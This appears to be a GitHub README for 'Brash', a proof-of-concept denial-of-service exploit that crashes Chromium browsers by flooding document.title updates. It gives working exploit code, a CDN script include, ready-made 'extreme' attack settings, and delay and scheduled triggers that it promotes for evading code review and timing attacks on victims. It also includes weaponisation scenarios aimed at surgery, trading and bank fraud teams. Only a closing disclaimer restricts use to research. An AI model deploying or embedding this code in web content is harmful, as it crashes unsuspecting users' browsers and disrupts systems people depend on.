jofpin/brashChromium Browser DoS Attack via document.title Exploitation
Brash is a critical vulnerability in Blink, the rendering engine that powers Google's Chromium-based browsers. It allows any Chromium browser to collapse in 15-60 seconds by exploiting an architectural flaw in how certain DOM operations are managed.
The attack vector originates from the complete absence of rate limiting on document.title API updates. This allows injecting millions of DOM mutations per second, and during this injection attempt, it saturates the main thread, disrupting the event loop and causing the interface to collapse. The impact is significant, it consumes high CPU resources, degrades overall system performance, and can halt or slow down other processes running simultaneously. By affecting Chromium browsers on desktop, Android, and embedded environments, this vulnerability exposes over 3 billion people on the internet to system-level denial of service.
STATUS: Operational
AFFECTED VERSIONS: Chromium ≤ 143.0.7483.0 (tested: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] The exploit is currently operational. Once the vulnerability is patched, this code will cease to work. Regardless, discovering this architectural flaw and completing the entire research, documentation, and design process to share something impactful with the world has been an incredibly rewarding journey.
11 major browsers were tested on macOS, Windows, and Linux to validate the vulnerability's impact.
All Chromium-based browsers are vulnerable because the flaw exists in the core of the Blink rendering engine:
Brash exploits a fundamental architectural flaw in the Blink rendering engine: the absence of throttling on document.title updates. The attack operates in three critical phases:
Generates 100 unique hexadecimal strings of 512 characters and stores them in memory before starting the attack.
Why pre-load them instead of generating them in real-time?
Because constantly generating new strings consumes CPU time on mathematical operations. That time is critical—every millisecond spent generating strings is time NOT used to bombard the browser with document.title updates.
By having 100 strings already loaded in memory:
As a result, we achieve maximum injection speed with maximum memory consumption per update.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Executes configurable bursts of title updates. With default configuration (burst: 8000, interval: 1ms), it attempts to inject approximately 24 million updates per second, and it's during this attempt that the browser collapse begins.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Continuous updates saturate the browser's main thread, preventing the processing of other events:
Collapse timeline:
Why does it work?
Blink processes each document.title change synchronously on the main thread without rate limiting. This creates a bottleneck that:
To fully understand the impact of Brash, you can experience the exploit in different contexts, from a controlled live demo to your own implementation. Each option is designed for different levels of interaction and technical understanding.
The fastest way to see Brash in action. Visit https://brash.run
To see the exploit without a graphical interface, visit https://brash.run/hidden-live-demo.html. This version executes the injection invisibly, simulating a real attack.
If you prefer to run the demo in your own environment, the exploit-demo/ directory included in the repository allows you to:
Simply open exploit-demo/index.html in any Chromium browser and configure the burst and interval values before starting.
To integrate Brash into your own security testing or research, include the script and configure the attack:
Include the script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API Usage:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Intensity configurations:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
Note: Each burst executes 3 sequential
document.titleupdates. For example, burstSize: 400 = 1,200 actual updates per interval.
Brash can be weaponized in multiple critical contexts with consequences ranging from economic losses to human life risk.
A critical feature that amplifies Brash's danger is its ability to be programmed to execute at specific moments. An attacker can inject the code with a temporal trigger, remaining dormant until a predetermined exact time.
Technical implementation:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Parameters:
burstSize: Updates per cycleinterval: Milliseconds between cyclesdelay: Number (seconds) or string ("30s", "5000ms", "3m")scheduled: ISO string or Date objectWhy the delay parameter is especially lethal:
Doesn't require knowing when they'll open the link: Simply waits X seconds from when the victim opens the page.
Time to establish trust: During the waiting minutes, the victim interacts with seemingly legitimate content (forms, documents, videos).
Evades initial inspection: If someone quickly reviews the code, it appears inactive. The attack doesn't execute until later.
Perfect psychological timing: Waits until the victim is deeply involved in the task (middle of exam, middle of meeting, during critical procedure).
Typical scenario with delay:
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
Why the scheduled parameter is also devastating:
Surgical synchronization: The attacker chooses the exact moment of maximum impact (market opening, peak operations time).
Global coordinated attacks: Multiple targets can be hit simultaneously in the same second.
Evades prior detection: The malicious code can be present days or weeks beforehand without executing, passing security reviews.
Impossible to stop: By the time the attack executes, it's too late to prevent it.
Strategic timing examples:
This kinetic timing capability transforms Brash from a disruption tool into a temporal precision weapon, where the attacker controls not only the "what" and "where," but also the "when" with millisecond accuracy.
Scenario: Enterprise systems that depend on AI agents for web scraping, market analysis, competitor monitoring, or customer support automation use headless browsers (Chromium/Puppeteer) to query thousands of websites daily. An attacker injects Brash into popular sites that these agents query.
During critical automated operations:
Amplified attack vectors:
Real impact: Paralysis of critical automated operations, economic losses from unmade decisions, massive degradation of AI-dependent services, infrastructure recovery costs, exposure of critical dependency on automated agents.
Scenario: A cardiovascular surgeon is performing a coronary bypass operation assisted by a web-based surgical navigation system (increasingly common in minimally invasive surgeries). The system provides real-time images, patient vital metrics, and guidance for robotic instruments.
During the most critical phase of the operation, a browser notification appears: "ALERT: Critical surgical system update - Apply now or the operation may fail."
Upon clicking in panic:
Real impact: Direct risk of patient death, potential for permanent damage, psychological trauma to the medical team, million-dollar lawsuits for technological negligence.
Scenario: During Wall Street market opening, a malicious actor injects Brash into multiple channels simultaneously: Bloomberg Terminal web interface, institutional trader chat, and specialized forums. The link promises "Leak: Fed emergency meeting transcript - Rate cut confirmed."
In the first 30 seconds of trading (maximum liquidity):
Real impact: Trillions of dollars in market capitalization losses, global financial panic, SEC investigations, potential confidence crisis in markets.
Scenario: Fraud analysts at a bank process suspicious transaction alerts in real-time through a web dashboard. During Black Friday (transaction peak), they receive Brash via corporate email: "New fraud pattern detected - urgent analysis required."
At the moment of highest transactional volume:
Real impact: Millions of dollars in direct losses, thousands of customers with fraudulent charges, massive reputational damage, regulatory fines for prevention system failures.
These scenarios are not theoretical. The simplicity of Brash makes it a real threat to any operation that depends on web browsers, which in 2025 means practically everything.
The creation of Brash is an effort to demonstrate what happens when basic protections are absent in the web technologies we use daily. The vulnerability doesn't lie in complex code or advanced techniques, but in the fundamental lack of rate limiting on an API that should be throttled by design.
The impact of Brash on over 3 billion Chromium browser users demonstrates that architectural flaws in core components like Blink have massive and global consequences. This is not an isolated bug—it's a design flaw that affects the entire Chromium ecosystem.
Often, the most dangerous things hide in the least expected place, the most ignored one. - Jose Pino
This PoC is intended solely for educational and security research purposes to help make the internet a safer place. Its execution should be carried out exclusively in controlled environments, and it must not be used on production systems, public websites, or devices containing important data.
Misuse of this exploit can result in browser crashes, data loss, and system instability. The author is not responsible for any damages, data loss, or legal consequences arising from the use or misuse of this PoC. By using Brash, you acknowledge understanding these risks and agree to use it only for legitimate security research in isolated environments.
Users are expected to comply with all applicable laws and regulations. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal and unethical.
The content of this project itself is licensed under the Creative Commons Attribution 3.0 license, and the underlying source code used to format and display that content is licensed under the MIT license.
Copyright (c) 2025 by Jose Pino